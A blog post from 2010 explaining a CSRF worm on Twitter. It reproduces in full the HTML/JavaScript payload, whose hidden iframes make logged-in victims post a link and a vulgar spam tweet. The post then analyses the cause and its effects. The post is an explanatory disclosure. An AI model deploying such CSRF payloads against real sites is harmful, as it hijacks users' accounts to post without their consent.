New Twitter exploit about goats – how it works.Sunday, September 26th, 2010 at 7:38 pm
OK, in the last few minutes you will have gotten a few tweets of people explaining that they like to have intercourse through the backdoor with goats. This is a Twitter exploit – probably initiated by someone doing a security talk (I know some people who would be devious enough).
The exploit is actually easy – the main ingredients are:
- Twitter allowing updates through the API via IFRAMES and GET thus being vulnerable to CSRF attacks
- PasteHTML.com being vulnerable to render code without a secure site around it and executing it
- Clients or Twitter automatically applying the t.co link shortener
The code to execute the “worm” is hosted at
http://pastehtml.com/view/1b7xk3b.html so Twitter should contact them – (I just did):
<html> <head></head> <body> <script> var el1 = document.createElement('iframe'); var el2 = document.createElement('iframe'); el1.style.visibility="hidden"; el2.style.visibility="hidden"; el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location; el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats"; document.getElementsByTagName("body").appendChild(el1); document.getElementsByTagName("body").appendChild(el2); </script> </body> </html>
Nothing magical there – all you do is create two SCRIPT files that point to the twitter update API and send a request to do an post. As the user who clicked on the malicious link is authenticated with twitter you can send them on his behalf. It is the same trick that worked for the “Don’t click this button” exploit or my demo at Paris Web last year how to get the updates of a protected Twitter user.
The effects of this are a mixed bag
- Bad: People stop trusting the t.co shortener after it was actually installed to be a trustworthy link shortener. The link shortening service is not compromised – this is one thing that can’t be blamed on Twitter
- Bad: There is a flood of wrong messages on Twitter
- Good: people talk about the exploit and how it was done
- Good: people get more conscious about clicking links
- Good: Twitter have to harden their API agains CSRF
- Bad: this will break some implementations
I fell for the trick, too – especially as I didn’t expect PasteHTML to render code instead of sanitizing it.
Update: As some clever clogs just pointed out in the comments, JSBin is also vulnerable to hosting code that will be executed. One thing I do to check malicious links is to use curl in the terminal:
If you don’t know JS, that doesn’t help you but if you do you can warn the world.